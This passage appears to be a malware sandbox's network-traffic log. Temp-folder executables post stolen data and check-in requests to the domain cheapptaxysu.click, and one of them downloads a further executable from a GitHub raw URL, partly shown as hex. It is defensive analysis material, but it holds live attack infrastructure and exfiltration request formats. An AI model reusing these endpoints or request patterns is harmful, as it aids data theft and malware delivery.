2024-12-19 02:09:44 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XJST4G4F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 583298 Host: cheapptaxysu.click
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 2d 2d 58 4a 53 54 34 47 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 4a 53 54 34 47 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 4a 53 54 34 47 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 43 5a 4a 76 73 73 2d 2d 0d 0a 2d 2d 58 4a 53 54 34 47 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 Data Ascii: --XJST4G4FContent-Disposition: form-data; name="hwid"5DE0C962B0E9E0D4AC8923850305D13E--XJST4G4FContent-Disposition: form-data; name="pid"1--XJST4G4FContent-Disposition: form-data; name="lid"CZJvss----XJST4G4FContent-Disposition:
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 08 95 48 2f df c6 0b 8b 1e f8 90 a8 3a 89 11 a1 77 3f 6d c5 8c 4b b5 a9 73 65 0b 51 4b d1 fd 3c c0 34 69 cb d2 0a 90 3c 3b 2b cd 07 c2 70 cf 35 f8 77 33 1d 16 2d 4e 78 42 69 a5 9c 81 97 87 17 d2 35 89 47 30 f0 62 55 c1 7f 81 6e 0d b1 ae 5f 2a 66 b3 00 89 d2 e2 d1 a6 3f 2f a6 70 7c e0 f7 8e 58 a4 ba 2e 9e 3f 8c 81 b9 76 b0 1b dd e8 1d 7d d2 dc e5 8d ee 7d 20 c9 27 e8 7f 07 16 9a c4 81 c0 ba 24 3c 0f e0 63 f8 df 47 57 06 ca 21 2a b7 6a 1c bd 8d 82 d0 a2 1d af 0c 57 43 b8 e6 7b 49 ea 7f 24 2a cb 3b e5 cb fb 3c 40 15 e2 cb c6 81 9c 2f 6d b9 9d 68 b8 3e 8e 76 20 c3 3e 72 4f ba 4d 29 97 4c 4b 30 65 0f a7 e8 18 d5 6b fb 53 52 70 d1 67 7d a6 40 87 84 db b5 1d 28 62 f8 9b e9 81 5f 93 4a ec a9 e3 b1 94 aa b3 d2 aa 83 b0 54 77 11 30 73 64 4f 17 15 63 0a ae 60 16 c8 Data Ascii: H/:w?mKseQK<4i<;+p5w3-NxBi5G0bUn_f?/p\|X.?v}} '$<cGW!jWC{I$*;<@/mh>v >rOM)LK0ekSRpg}@(b_JTw0sdOc`
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: f7 19 29 33 7f 3e af 99 79 55 67 29 f8 4e e3 00 bc f0 48 04 d8 72 5c 77 b4 f0 80 b4 b0 39 9a 6c 5a de 6d 57 5a f9 79 77 f2 5a ca ac 86 8a 5e 53 55 e9 ac 56 09 7b 0f 6d 64 88 3c 41 28 d9 7c 82 1b f4 97 1e fe c0 0b 0e 0e 3f 7c 9e f8 2b 6b 7b d0 8b 75 c1 bb e6 a5 4e ff f9 a0 3b 41 ea 20 a9 f2 fd ef 83 fd 4b 0e 48 bc 51 89 07 4b e9 32 53 4e 9a 73 47 50 30 99 88 01 f1 48 5b 5a 47 33 72 57 86 a6 00 43 1f 03 af 3d a6 fc bf cb 9e dc a8 bf af d7 04 8a 08 8e 93 68 dd cf 36 01 5a e7 18 54 84 9f cf 7d f9 53 37 fa a4 2a 3a 60 7a 7b de 7f b5 9a 89 3a 37 82 78 b4 dc 8e 4f 8e 51 7a 0f f6 cb de ce 51 3c 6e 7d 10 95 0d e2 bb b5 9e fd 38 e4 7e 66 20 a8 6b 13 c7 c8 d8 2f ef 0c 26 a4 64 91 78 ed b8 b0 cc 04 f4 b9 b2 a6 7d 2b 0a b1 cd 7f a9 11 56 20 a3 0d ef e8 d5 e1 50 10 7f Data Ascii: )3>yUg)NHr\w9lZmWZywZ^SUV{md<A(\|?\|+k{uN;A KHQK2SNsGP0H[ZG3rWC=h6ZT}S7*:`z{:7xOQzQ<n}8~f k/&dx}+V P
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: d4 8a e1 2e 44 93 cc b8 fe 5e bd 47 ba 78 c0 e4 f5 fe 48 a0 c6 c5 6d d9 12 1d 18 16 07 88 be 9b 02 40 71 aa e1 9c 7d f8 05 3d 90 e3 aa bd cd 4e 0c 24 d1 46 a3 aa 4f 2a a0 8e 96 7c 2e 90 48 49 e8 d6 e3 ab 43 8b b7 ca 8f 3d 7c 1a e6 a9 9f 51 8a d9 c5 10 e0 ea 42 c0 33 5d 45 70 bc c0 90 18 b8 a0 66 72 e3 c6 b5 b0 dd e9 ce 9f 03 1a 21 ee bb a4 ac 98 22 f6 d2 ce e3 69 71 7d fd 00 36 d7 6a 24 f3 63 6d 32 64 ad b7 71 db 4c a1 9e 70 02 f6 8a 14 5b 28 e1 23 3e 0b bc c1 d3 33 ef 2a 67 c2 83 52 d8 f8 f1 fe 0e eb 5c f9 db 8e 04 62 9b 36 a3 20 1b 4e 24 25 a8 59 40 e9 da db 47 38 72 0f 39 49 72 76 89 87 1d 02 39 05 bc 85 76 7f fa 24 91 fe 3e 68 11 83 2f bb 33 d8 55 28 56 72 f6 85 48 f2 7e 70 a1 3b cd b0 ee 67 f2 b5 18 97 d7 9a 27 36 38 81 fb 77 b5 97 61 be f3 19 68 d8 Data Ascii: .D^GxHm@q}=N$FO\|.HIC=\|QB3]Epfr!"iq}6j$cm2dqLp[(#>3gR\b6 N$%Y@G8r9Irv9v$>h/3U(VrH~p;g'68wah
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: b0 ce c1 d6 6e cb 7c b5 aa 7a 93 bf 4f 8f de ce 06 b8 f7 29 2b e5 09 50 d0 c6 d0 66 6f cc 6d 71 a0 dc 7f db a0 8f f1 fd 30 ce ce 06 71 05 1d 8d bf 56 97 e9 2b f0 eb 8b 31 36 c7 cb 51 24 2c 32 85 6c 27 df a3 a4 88 2e 84 2d a8 de 09 2a 14 14 3b 14 bf 67 38 2e ed b3 b3 24 4e a3 2a a2 f8 a6 d7 1b dc 88 71 50 f4 95 3a c0 f6 c1 9b 67 16 9b 2f b1 fd 6e b8 3f 0a f6 59 ab 70 e9 58 36 75 e2 1d c7 f7 bb 1c 88 29 45 77 c7 db a7 85 91 15 a3 82 fb 78 dc 36 c4 57 4a f0 fc 1b 20 10 86 fd ec b3 6a 66 24 f6 1c f9 df b3 9d 10 7e a4 ca c2 e1 7b 3e 26 f8 a6 38 b6 6d e4 d6 c3 13 53 63 ce de aa a3 14 e5 e5 02 33 62 54 30 4c d6 50 38 c3 8e 75 15 64 4a 74 2d 99 06 6c a7 49 22 ea 0a 85 dd 18 cd 47 10 60 fd b9 5d 82 f5 bc 39 27 e5 94 97 db cb 55 c3 64 16 3a 97 44 c3 23 ba c4 4d e8 Data Ascii: n\|zO)+Pfomq0qV+16Q$,2l'.-;g8.$NqP:g/n?YpX6u)Ewx6WJ jf$~{>&8mSc3bT0LP8udJt-lI"G`]9'Ud:D#M
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 41 4f 1a 0c 3f 6d 56 97 d7 3c bd fb 59 cb f9 1d cf be a8 5f 6f 66 6d 9f 63 b7 26 e8 01 05 6c dd e2 be 69 41 37 3a 02 07 16 9a aa c5 09 80 83 70 0a 8b a3 8e 7b f0 24 92 13 fc 97 a8 81 0f 34 7b 6b 2f f2 12 64 a4 84 3e 01 a8 a7 84 86 01 4b d3 12 38 6c 0b 4f 3e bb 2f 08 b0 c2 31 1b 53 4f 8e 8c 0a ca c6 1c 9e 0e 86 19 df f2 68 bf d2 f6 6a fc ed 87 03 87 bc eb 6e 8d a5 06 3e 57 1b 08 f1 95 5a 7c 79 6a fb 16 65 ba ac d0 89 8d 46 68 b8 37 7a 05 07 c8 fe 87 51 42 e5 7b ef a7 34 14 3c dd 8a a8 80 82 b7 64 fb ff f9 d1 2a 14 66 58 11 de 46 16 74 dd bb a0 8b e6 21 3e f7 74 f6 19 ce d7 1a 18 e6 09 c1 84 d5 5b dd 8a 7d da 08 cc 02 63 87 18 65 66 df b7 62 72 15 f0 5d bf 88 5a 10 bc 49 05 ea 48 f6 6e d3 a2 84 8e 7e 2c e1 07 4c 62 b4 34 21 e1 b7 97 4f 9f 42 3d bb b6 0b 18 Data Ascii: AO?mV<Y_ofmc&liA7:p{$4{k/d>K8lO>/1SOhjn>WZ\|yjeFh7zQB{4<d*fXFt!>t[}cefbr]ZIHn~,Lb4!OB=
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 34 9a a9 93 84 66 ca bf 38 23 3b b7 b1 b3 0b 80 81 3f 23 37 c0 61 de df fd eb cd 92 f2 e1 0c 07 cb be 0d 0c 22 13 8e 58 9a f6 c8 02 98 83 32 60 4a fe ea 82 40 a9 88 9a 60 e7 a5 7e 3e 92 7d 48 e3 2e 3b 98 98 dd e6 8a 0d 9f 35 2e b4 93 37 98 8a 98 3f c6 ec 1d f4 55 44 31 2f 6e 38 af fd 10 73 d6 7c e8 7f ed da ca 36 15 74 4a b2 90 dc 4d 06 c9 f6 a8 61 d8 09 e2 8a 3c 84 8b 94 a0 8e 65 d2 16 2d 00 c3 b7 62 21 4d 4c 11 68 b5 8a f0 d7 d9 27 52 90 bd a4 21 0d 5d c7 f1 7f 1f 8a da 33 95 70 9d 12 4b 69 e5 85 6c ea 16 3b 14 6e b9 95 a4 28 28 9e 25 47 c5 a8 8f a5 a3 2c ea 60 af 0a 1d 27 ba a2 f0 d9 18 52 cb 4e ad a2 f5 eb 69 19 4d eb ed dd 61 71 42 7a a3 39 c0 36 93 04 48 99 c8 fd 66 d3 2e 4f 77 1a ad 1b e0 6c 35 aa 09 02 13 f9 63 4e 41 91 fe 1d dd f5 6e 75 e1 fb 85 Data Ascii: 4f8#;?#7a"X2`J@`~>}H.;5.7?UD1/n8s\|6tJMa<e-b!MLh'R!]3pKil;n((%G,`'RNiMaqBz96Hf.Owl5cNAnu
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 96 b0 aa 1c 70 db a6 23 69 d8 30 be 2f 49 e5 b4 5c 5f 84 9d 98 85 c2 fa 6a 6b f3 ac ca c4 f2 3e 53 96 a9 e5 7d 5d 89 26 0e 26 1a 03 97 be d9 41 16 62 77 fc 6b a5 8d 00 3d 5d df c5 ee 62 ea 4d a8 be 08 65 31 b0 0b 83 51 3c 06 19 62 43 0d 23 5a a4 c3 b2 ff 39 69 63 72 d0 b0 0f 89 3b c5 dd 6f 2e a2 0c 9a 59 6a 39 b5 f2 8a a1 3e a8 1e f7 9c 76 ad d5 50 e1 4d 9f 13 e9 cd 12 8a 7f 4b 10 e2 a0 2c 90 de 4c f8 f4 55 d5 07 7b 28 fc 7d a2 e7 5a 77 87 a2 c5 8b e5 8b c2 40 f1 0c 8e 3c 5c ea de f7 24 2f 70 6a 23 f8 ee bd 2a f6 09 7f db fa 4d 2c 0b ee 17 4e fc 4c df 1f 34 f3 c6 e6 e4 12 dc 54 76 8d 9d 74 99 9f 34 44 9b 6f 3f b1 ab df e9 c8 d2 c2 8d 92 f3 dc df bd 9b 3b 78 f0 74 7f 85 aa 84 13 e5 f5 f8 f2 d3 06 03 8f 65 97 7e 97 be 16 c7 87 79 eb d1 ef 2d 15 a5 94 8d 80 Data Ascii: p#i0/I\_jk>S}]&&Abwk=]bMe1Q<bC#Z9icr;o.Yj9>vPMK,LU{(}Zw@<\$/pj#*M,NL4Tvt4Do?;xte~y-
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 4f e9 31 a2 cf e5 e0 3d 08 5a 05 ef 47 4e 8e 30 f4 5f ae ea 1d e2 0b 0c dd 9d 78 65 f5 a0 78 10 d9 14 64 6b f5 46 39 b8 78 54 ed e7 0a 22 07 de 92 58 94 6d b2 cd 01 ea 17 30 2f 0b f9 04 0e b6 eb f9 54 65 68 5d 98 af 58 7a 3d 5d 50 a8 e0 cd 6c 95 64 35 e9 55 a7 10 4a 10 fa b0 2c de f0 b6 c1 74 22 41 9e 7f f4 60 b2 2a 06 a3 de 91 ad e5 1c 22 84 d9 3a b6 25 5a 0d 87 78 60 eb 0d 9b 05 d1 15 8e 5a 14 b3 d4 e5 06 dd ba c0 49 de 37 d3 71 de 45 3a d3 99 a7 3c 2e f0 6e 2f 92 72 39 78 9e bd 80 05 88 51 4d 9c 81 6b da b2 da 5c 6a aa de 46 7f 68 8e 16 0f 61 d4 6e 9d b4 bb c7 21 b8 55 fb f0 5d 5b 16 5c 59 41 c0 ba 0b b1 5b 60 72 3f dd 4f 39 bd 86 02 9b 58 86 14 2d 1c de ba 28 9a 4a 4a 0d 0f 5d 73 29 19 7f 60 dc d1 26 a3 18 fa f6 12 e1 85 b7 32 59 29 ac 3c 6b 3e e3 41 Data Ascii: O1=ZGN0_xexdkF9xT"Xm0/Teh]Xz=]Pld5UJ,t"A`*":%Zx`ZI7qE:<.n/r9xQMk\jFhan!U][\YA[`r?O9X-(JJ]s)`&2Y)<k>A
2024-12-19 02:09:44 UTC	15331	OUT	Data Raw: 2e a2 07 7d 10 a7 a4 17 73 2c 8b d4 f9 60 13 fb 48 2d 5b 0d 13 79 4f 69 f4 18 02 d9 8c 2d 8c 73 b6 a9 2e 99 0e bd a8 68 69 c9 c8 b7 6c c5 25 bb 9b 93 7f 79 06 0d c8 a9 90 a3 a6 c7 7a 52 f7 df 3b 96 95 61 61 ee 3c 6e da ac ad 71 95 60 18 33 5e 29 d6 98 74 5f 9f 29 20 db 28 70 e9 90 84 e7 e1 fd bf d4 34 3a 92 6f c3 77 63 71 e8 8d 49 dd 57 2c 49 de eb ba 70 22 5d e4 e1 c5 3f c7 71 6f 2e d5 3c 32 14 fc c0 2d 3b 36 ad e5 4c 77 fa fc 9a e4 b0 07 e5 3f 54 72 14 e6 6f d4 f7 2e 65 f2 78 f3 96 ab 33 1f cb 5a 5a 96 b3 f8 3b 5b e8 fc c1 a5 e0 0f e8 30 ad 90 8f 70 68 9e 04 2f e4 1d 4d a0 46 85 cd 6d 58 6a bf 55 e5 8a 13 80 cd 7c 06 db 07 8d f2 d7 47 82 47 32 07 97 09 b4 cd 10 31 54 ae e1 ee 52 30 e8 20 2a c3 4c 2a 17 a6 79 6f dd ad 7a 6b 5d 09 50 87 50 c1 9c bf bc 8d Data Ascii: .}s,`H-[yOi-s.hil%yzR;aa<nq`3^)t_) (p4:owcqIW,Ip"]?qo.<2-;6Lw?Tro.ex3ZZ;[0ph/MFmXjU\|GG21TR0 Lyozk]PP
2024-12-19 02:09:47 UTC	1143	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4a9ub0fen82rj6m8fdoc8ce1hs; expires=Sun, 13 Apr 2025 19:56:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LbuqTnw72vEqcqyKklW7D4wQ%2B%2BZn%2Fak5P6%2BcLZaEm9j5WSglmMUMoMSxFwO7GdDN1ee2Dn%2FcX1VhbVLrtBU75CsGe9D7poTtGT4w2LuAgMsaqRzd6J3H2%2FBRa17UfeRf%2BuTwYMM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43da2e082a5e80-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1601&min_rtt=1592&rtt_var=615&sent=333&recv=604&lost=0&retrans=0&sent_bytes=2843&recv_bytes=585881&delivery_rate=1751649&cwnd=218&unsent_bytes=0&cid=ed17a4ab3f1f2a8d&ts=2953&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49937	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:48 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: cheapptaxysu.click
2024-12-19 02:09:48 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d 26 68 77 69 64 3d 35 44 45 30 43 39 36 32 42 30 45 39 45 30 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CZJvss--&j=&hwid=5DE0C962B0E9E0D4AC8923850305D13E
2024-12-19 02:09:49 UTC	1127	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ban5a835qdk2gemb9spo6amc6k; expires=Sun, 13 Apr 2025 19:56:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=428tDI8x07HmYjCj%2FPCOo5MFPiq9U4JjBZ6sCawAOcBVpl%2FTYNViuxejrhFq3gz1IbuxZY3sgo1zEQANu1P90ZR1kRBzpFtEua1TITpXi62AizDrfbADEHiIJr%2B5jDYTIozWxxQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43da48df110f4a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1542&min_rtt=1528&rtt_var=602&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=979&delivery_rate=1772920&cwnd=168&unsent_bytes=0&cid=c899386681f32200&ts=817&x=0"
2024-12-19 02:09:49 UTC	54	IN	Data Raw: 33 30 0d 0a 45 71 58 69 54 6b 4e 39 55 34 78 67 62 6d 44 38 55 2b 46 4d 59 63 39 4a 47 49 57 72 67 62 4e 59 6c 6e 67 6c 36 79 71 33 31 7a 46 4a 2b 41 3d 3d 0d 0a Data Ascii: 30EqXiTkN9U4xgbmD8U+FMYc9JGIWrgbNYlngl6yq31zFJ+A==
2024-12-19 02:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49956	20.233.83.145	443	1128	C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:56 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-19 02:09:57 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 19 Dec 2024 02:09:56 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-19 02:09:57 UTC	3380	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49966	185.199.110.133	443	1128	C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:58 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-19 02:09:59 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4A5D:272AD5:2A2B49:2EA437:67638077 Accept-Ranges: bytes Date: Thu, 19 Dec 2024 02:09:59 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740030-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734574199.042159,VS0,VE99 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 3a7877e11bf47b3d9e02d6f88873ff9bef3f9f57 Expires: Thu, 19 Dec 2024 02:14:59 GMT Source-Age: 0
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
2024-12-19 02:09:59 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
